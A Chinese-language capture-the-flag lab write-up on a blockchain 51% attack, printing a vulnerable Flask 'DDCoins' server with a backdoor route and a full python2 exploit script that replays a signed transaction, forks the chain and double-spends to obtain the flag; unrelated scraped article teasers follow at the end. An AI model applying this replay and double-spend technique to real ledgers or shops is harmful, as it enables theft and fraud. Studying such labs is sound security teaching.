某60区块链安全之51%攻击实战学习记录
区块链安全
文章目录
- 区块链安全
- 51%攻击实战
- 实验目的
- 实验环境
- 实验工具
- 实验原理
- 攻击过程
51%攻击实战
实验目的
1.理解并掌握区块链基本概念及区块链原理
2.理解区块链分又问题
3.理解掌握区块链51%算力攻击原理与利用
4.找到题目漏洞进行分析并形成利用
实验环境
1.Ubuntu18.04操作机
实验工具
- python2
实验原理
1.在比特币网络里,你有多少钱,不是你说了算,而是大家说了算,每个人都是公证人。
2基于算力证明进行维护的比特而网络一直以来有一个重大的理论风险:如果有人掌握了巨大的计算资源超过全网过半的算力),他就可以通过强大的算力幕改区块链上的账本,从而控制整个共识网络,这也被称为51%攻击。
3虽然这种攻击发生的可能性不是很大掌握这种算力的人本身就可以通过挖矿获得大受益,再去冒险算改账本很容易暴露自身)。仍然是理论上看: 一旦这种攻击被发现,比特币网络其他终端可以联合起来对已知的区块链进行硬分叉,全体否认非法的交易。
实验内容1.某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成石的销售与清算过程。不幸的是,该银行被黑客入侵,私钢被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?2区块链是存在cokie里的,可能会因为区块链太长,浏览器不接受服务器返回的set-okie字段而导致区块链无法更新,因此强烈推荐写脚本发请求
3.实验地址为 http://ip:10000/b942f830cf97e ,详细见附件
攻击过程
serve.py文件内容如下
# -*- encoding: utf-8 -*-
# written in python 2.7import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, requestapp = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b942f830cf97e'def FLAG():return 'Here is your flag: flag{******************}'def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def has_attrs(d, attrs):if type(d) != type({}): raise Exception("Input should be a dict/JSON")for attr in attrs:if attr not in d:raise Exception("{} should be presented in the input".format(attr))EMPTY_HASH = '0'*64def addr_to_pubkey(address):return rsa.PublicKey(int(address, 16), 65537)def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeybank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()def sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return txdef hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return blockdef find_blockchain_tail():return max(session['blocks'].values(), key=lambda block: block['height'])def calculate_utxo(blockchain_tail):curr_block = blockchain_tailblockchain = [curr_block]while curr_block['hash'] != session['genesis_block_hash']:curr_block = session['blocks'][curr_block['prev']]blockchain.append(curr_block)blockchain = blockchain[::-1]utxos = {}for block in blockchain:for tx in block['transactions']:for input_utxo_id in tx['input']:del utxos[input_utxo_id]for utxo in tx['output']:utxos[utxo['id']] = utxoreturn utxosdef calculate_balance(utxos):balance = {bank_address: 0, hacker_address: 0, shop_address: 0}for utxo in utxos.values():if utxo['addr'] not in balance:balance[utxo['addr']] = 0balance[utxo['addr']] += utxo['amount']return balancedef verify_utxo_signature(address, utxo_id, signature):try:return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))except:return Falsedef append_block(block, difficulty=int('f'*64, 16)):has_attrs(block, ['prev', 'nonce', 'transactions'])if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])if block['prev'] not in session['blocks']: raise Exception("unknown parent block")tail = session['blocks'][block['prev']]utxos = calculate_utxo(tail)if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')new_utxo_ids = set()for tx in block['transactions']:has_attrs(tx, ['input', 'output', 'signature'])for utxo in tx['output']:has_attrs(utxo, ['amount', 'addr', 'id'])if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))new_utxo_ids.add(utxo['id'])if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")try:addr_to_pubkey(utxo['addr'])except:raise Exception("invalid type of address({})".format(utxo['addr']))utxo['hash'] = hash_utxo(utxo)tot_output = sum([utxo['amount'] for utxo in tx['output']])if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")tot_input = 0tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]for utxo_id, signature in zip(tx['input'], tx['signature']):if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))utxo = utxos[utxo_id]if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")if not verify_utxo_signature(utxo['addr'], utxo_id, signature):raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))tot_input += utxo['amount']del utxos[utxo_id]if tot_output > tot_input:raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))tx['hash'] = hash_tx(tx)block = create_block(block['prev'], block['nonce'], block['transactions'])block_hash = int(block['hash'], 16)if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')block['height'] = tail['height']+1if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')session['blocks'][block['hash']] = blocksession.modified = Truedef init():if 'blocks' not in session:session['blocks'] = {}session['your_diamonds'] = 0# First, the bank issued some DDCoins ...total_currency_issued = create_output_utxo(bank_address, 1000000)genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothinggenesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])session['genesis_block_hash'] = genesis_block['hash']genesis_block['height'] = 0session['blocks'][genesis_block['hash']] = genesis_block# Then, the bank was hacked by the hacker ...handout = create_output_utxo(hacker_address, 999999)reserved = create_output_utxo(bank_address, 1)transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])append_block(second_block)# Can you buy 2 diamonds using all DDCoins?third_block = create_block(second_block['hash'], 'a empty block', [])append_block(third_block)def get_balance_of_all():init()tail = find_blockchain_tail()utxos = calculate_utxo(tail)return calculate_balance(utxos), utxos, tail@app.route(url_prefix+'/')
def homepage():announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. 'balance, utxos, _ = get_balance_of_all()genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_addressbalance_info = 'Balance of all addresses: ' + json.dumps(balance)utxo_info = 'All utxos: ' + json.dumps(utxos)blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])view_source_code_link = "<a href='source_code'>View source code</a>"return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))@app.route(url_prefix+'/flag')
def getFlag():init()if session['your_diamonds'] >= 2: return FLAG()return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_addressdef find_enough_utxos(utxos, addr_from, amount):collected = []for utxo in utxos.values():if utxo['addr'] == addr_from:amount -= utxo['amount']collected.append(utxo['id'])if amount <= 0: return collected, -amountraise Exception('no enough DDCoins in ' + addr_from)def transfer(utxos, addr_from, addr_to, amount, privkey):input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)outputs = [create_output_utxo(addr_to, amount)]if the_change != 0:outputs.append(create_output_utxo(addr_from, the_change))return create_tx(input_utxo_ids, outputs, privkey)@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):balance, utxos, tail = get_balance_of_all()if balance[bank_address] == 0: return 'The bank has no money now.'try:address = str(address)addr_to_pubkey(address) # to check if it is a valid addresstransferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])append_block(new_block)return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + addressexcept Exception, e:return 'ERROR: ' + str(e)DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():init()try:block = json.loads(request.data)append_block(block, DIFFICULTY)msg = 'transaction finished.'except Exception, e:return str(e)balance, utxos, tail = get_balance_of_all()if balance[shop_address] == 1000000:# when 1000000 DDCoins are received, the shop will give you a diamondsession['your_diamonds'] += 1# and immediately the shop will store the money somewhere safe.transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])append_block(new_block)msg += ' You receive a diamond.'return msg# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():if 'blocks' in session: del session['blocks']if 'genesis_block_hash' in session: del session['genesis_block_hash']return 'reset.'@app.route(url_prefix+'/source_code')
def show_source_code():source = open('serve.py', 'r')html = ''for line in source:html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')source.close()return htmlif __name__ == '__main__':app.run(debug=False, host='0.0.0.0')
使用python2编写自动化脚本实现上述过程:当POST第三个空块时,主链改变,黑客提走的钱被追回,通过转账后门与POST触发新增两个区块,总长为六块;接上第三个空块,POST到第六个空块时,主链再次改变,钱又重新回到银行,再次利用后门得到钻石(将url_prefix中的IP地址换成题目的IP地址)
exp.py
import requests, json, hashlib, rsaEMPTY_HASH = '0'*64def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeydef sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return tx# -------------- code copied from server.py END ------------def create_output_utxo(addr_to, amount):utxo = {'id': 'my_recycled_utxo', 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_block_with_PoW(prev_block_hash, transactions, difficulty, nonce_prefix='nonce-'):nonce_str = 0while True:nonce_str += 1nonce = nonce_prefix + str(nonce_str)block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)if int(block['hash'], 16) < difficulty: return blockurl_prefix = 'http://192.168.2.100:10000/b942f830cf97e'
s = requests.session()
my_address, my_privkey = gen_addr_key_pair()
print 'my address:', my_addressdef append_block(block):print '[APPEND]', s.post(url_prefix+'/create_transaction', data=json.dumps(block)).textdef show_blockchain():print s.get(url_prefix+'/').text.replace('<br />','')blocks = json.loads(s.get(url_prefix+'/').text.split('Blockchain Explorer: ')[1]).values()
genesis_block = filter(lambda i: i['height'] == 0, blocks)[0]# replay attack
attacked_block = filter(lambda i: i['height'] == 1, blocks)[0]
replayed_tx = attacked_block['transactions'][0]
replayed_tx['output'] = [create_output_utxo(my_address, 1000000)]
replayed_tx['hash'] = hash_tx(replayed_tx)DIFFICULTY = int('00000' + 'f' * 59, 16)
forked_block = create_block_with_PoW(genesis_block['hash'], [replayed_tx], DIFFICULTY)
append_block(forked_block)# generate 2 empty blocks behind to make sure our forked chain is the longest blockchain
prev = forked_block['hash']
for i in xrange(2):empty_block = create_block_with_PoW(prev, [], DIFFICULTY)prev = empty_block['hash']append_block(empty_block)show_blockchain()
print 'replay done. ------------------ '# now we have 1000000 DDCoins, transfer to the shop to buy diamond
shop_address = s.get(url_prefix+'/flag').text.split('1000000 DDCoins to ')[1]
output_to_shop = create_output_utxo(shop_address, 1000000)
utxo_to_double_spend = replayed_tx['output'][0]['id']
tx_to_shop = create_tx([utxo_to_double_spend], [output_to_shop], my_privkey)
new_block = create_block_with_PoW(prev, [tx_to_shop], DIFFICULTY)
append_block(new_block)# now we have 1 diamond and 0 DDCoin, we should double spend the "utxo_to_double_spend" by forking the blockchain again
new_block = create_block_with_PoW(prev, [tx_to_shop], DIFFICULTY, 'another-chain-nonce-')
append_block(new_block)
# append another 2 empty blocks to make sure this is the longest blockchain
prev = new_block['hash']
for i in xrange(2):empty_block = create_block_with_PoW(prev, [], DIFFICULTY)prev = empty_block['hash']append_block(empty_block)
# and the shop receive 1000000 DDCoins in this newly-forked blockchain... we have got another diamondshow_blockchain()
print '===================='
print s.get(url_prefix+'/flag').text
相关文章:

某60区块链安全之51%攻击实战学习记录
区块链安全 文章目录 区块链安全51%攻击实战实验目的实验环境实验工具实验原理攻击过程 51%攻击实战 实验目的 1.理解并掌握区块链基本概念及区块链原理 2.理解区块链分又问题 3.理解掌握区块链51%算力攻击原理与利用 4.找到题目漏洞进行分析并形成利用 实验环境 1.Ubuntu1…...

为什么原生IP可以降低Google play账号关联风险?企业号解决8.3/10.3账号关联问题?
在Google paly应用上架的过程中,相信大多数开发者都遇到过开发者账号因为关联问题,导致应用包被拒审和封号的情况。 而众所周知,开发者账号注册或登录的IP地址及设备是造成账号关联的重要因素之一。酷鸟云最新上线的原生IP能有效降低账号因I…...
排列组合C(n,m)和A(n,m)理解及代码实现
排列组合C(n,m)和A(n,m)理解及代码实现-CSDN博客...
EasyExcel导入从第几行开始
//获得工作簿 read EasyExcel.read(inputStream, Student.class, listener); //获得工作表 又两种形形式可以通过下标也可以通过名字2003Excel不支持名字 ExcelReaderSheetBuilder sheet read.sheet(); sheet.headRowNumber(2);...

均匀光源积分球的应用领域有哪些
均匀光源积分球的主要作用是收集光线,并将其用作一个散射光源或用于测量。它可以将光线经过积分球内部的均匀分布后射出,因此积分球也可以当作一个光强衰减器。同时,积分球可以实现均匀的朗伯体漫散射光源输出,整个输出口表面的亮…...

【LeetCode】每日一题 2023_11_18 数位和相等数对的最大和(模拟/哈希)
文章目录 刷题前唠嗑题目:数位和相等数对的最大和题目描述代码与解题思路思考解法偷看大佬题解结语 刷题前唠嗑 LeetCode? 启动!!! 本月已经过半了,每日一题的全勤近在咫尺~ 题目:数位和相等数对的最大和…...
【喵叔闲扯】--迪米特法则
迪米特法则,也称为最少知识原则(Law of Demeter),是面向对象设计中的一个原则,旨在降低对象之间的耦合性,提高系统的可维护性和可扩展性。该原则强调一个类不应该直接与其它不相关的类相互交互,…...

企业视频数字人有哪些应用场景
来做个数字人吧,帮我干点活吧。 国内的一些数字人: 腾讯智影 腾讯智影数字人是一种基于人工智能技术的数字人物形象,具有逼真的外观、语音和行为表现,可以应用于各种场景,如新闻播报、文娱推介、营销、教育等。 幻…...

LoRa模块空中唤醒功能原理和物联网应用
LoRa模块是一种广泛应用于物联网领域的无线通信模块,支持低功耗、远距离和低成本的无线通信。 其空中唤醒功能是一项重要的应用,可以实现设备的自动唤醒,从而在没有人工干预的情况下实现设备的远程监控和控制。 LoRa模块空中唤醒功能的原理…...

spring中的DI
【知识要点】 控制反转(IOC)将对象的创建权限交给第三方模块完成,第三方模块需要将创建好的对象,以某种合适的方式交给引用对象去使用,这个过程称为依赖注入(DI)。如:A对象如果需要…...

gpt-4-vision-preview 识图
这些图片都是流行动画角色的插图。 第一张图片中的角色是一块穿着棕色方形裤子、红领带和白色衬衫的海绵,它站立着并露出开心的笑容。该角色在一个蓝色的背景前,显得非常兴奋和活泼。 第二张图片展示的是一只灰色的小老鼠,表情开心…...
Spring Framework 6.1 正式发布
Spring Framework 6.1.0 现已从 Maven Central 正式发布!6.1 一代有几个关键主题: 拥抱 JDK 21 LTS虚拟线程(Project Loom)JVM 检查点恢复(项目 CRaC)重新审视资源生命周期管理重新审视数据绑定和验证新的…...

SystemVerilog学习 (11)——覆盖率
目录 一、概述 二、覆盖率的种类 1、概述 2、分类 三、代码覆盖率 四、功能覆盖率 五、从功能描述到覆盖率 一、概述 “验证如果没有量化,那么就意味着没有尽头。” 伴随着复杂SoC系统的验证难度系数成倍增加,无论是定向测试还是随机测试ÿ…...
jQuery,解决命名冲突的问题
使用noConflict(true),把$和jQuery名字都给别人 <body><script>var $ zanvar jQuery lan</script><script src"./jquery.js"></script><script>console.log(jQuery, 11111); // 打印jquery函数console.log($, 222…...

为什么C++标准库中atomic shared_ptr不是lockfree实现?
为什么C标准库中atomic shared_ptr不是lockfree实现? 把 shared_ptr 做成 lock_free,应该是没有技术上的可行性。shared_ptr 比一个指针要大不少:最近很多小伙伴找我,说想要一些C的资料,然后我根据自己从业十年经验&am…...
Python基础入门例程58-NP58 找到HR(循环语句)
最近的博文: Python基础入门例程57-NP57 格式化清单(循环语句)-CSDN博客 Python基础入门例程56-NP56 列表解析(循环语句)-CSDN博客 Python基础入门例程55-NP55 2的次方数(循环语句)-CSDN博客 目录 最近的博文: 描述...

航天联志Aisino-AISINO26081R服务器通过调BIOS用U盘重新做系统(windows系统通用)
产品名称:航天联志Aisino系列服务器 产品型号:AISINO26081R CPU架构:Intel 的CPU,所以支持Windows Server all 和Linux系统(重装完系统可以用某60驱动管家更新所有硬件驱动) 操作系统:本次我安装的服务器系统为Serv…...

windows 10 更新永久关闭
1 winR 输入:services.msc 编辑: 关闭:...
循环优先级仲裁~位屏蔽仲裁算法
参考了FPGA奇哥(下列视频中UP主)的讲解。 应该可以对多路读写DDR3进行操作,仅仲裁,不涉及DMA和Uibuf等。 2023年11月所写,暂未进行测试,日后补上。 第二天已完成测试,功能可行。 深入FPGA底层…...
千年版本修改小技巧
千年门派创建后消失的原因 门派在游戏里创建后重启服务器消失其实就差一个单词name,只要将这个单词加在 guild文件夹里的 createguild.sdb文件里的第一行第一个就可以。可以先将createguild.sdb的内容清空 然后复制以下内容到 createguild.sdb 最后保存下就可以了n…...
变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析
一、变量声明设计:let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性,这种设计体现了语言的核心哲学。以下是深度解析: 1.1 设计理念剖析 安全优先原则:默认不可变强制开发者明确声明意图 let x 5; …...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》
引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

JavaScript 中的 ES|QL:利用 Apache Arrow 工具
作者:来自 Elastic Jeffrey Rengifo 学习如何将 ES|QL 与 JavaScript 的 Apache Arrow 客户端工具一起使用。 想获得 Elastic 认证吗?了解下一期 Elasticsearch Engineer 培训的时间吧! Elasticsearch 拥有众多新功能,助你为自己…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...

Docker 运行 Kafka 带 SASL 认证教程
Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明:server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...

HTML 列表、表格、表单
1 列表标签 作用:布局内容排列整齐的区域 列表分类:无序列表、有序列表、定义列表。 例如: 1.1 无序列表 标签:ul 嵌套 li,ul是无序列表,li是列表条目。 注意事项: ul 标签里面只能包裹 li…...

微信小程序 - 手机震动
一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注:文档 https://developers.weixin.qq…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案
随着新能源汽车的快速普及,充电桩作为核心配套设施,其安全性与可靠性备受关注。然而,在高温、高负荷运行环境下,充电桩的散热问题与消防安全隐患日益凸显,成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

SpringCloudGateway 自定义局部过滤器
场景: 将所有请求转化为同一路径请求(方便穿网配置)在请求头内标识原来路径,然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...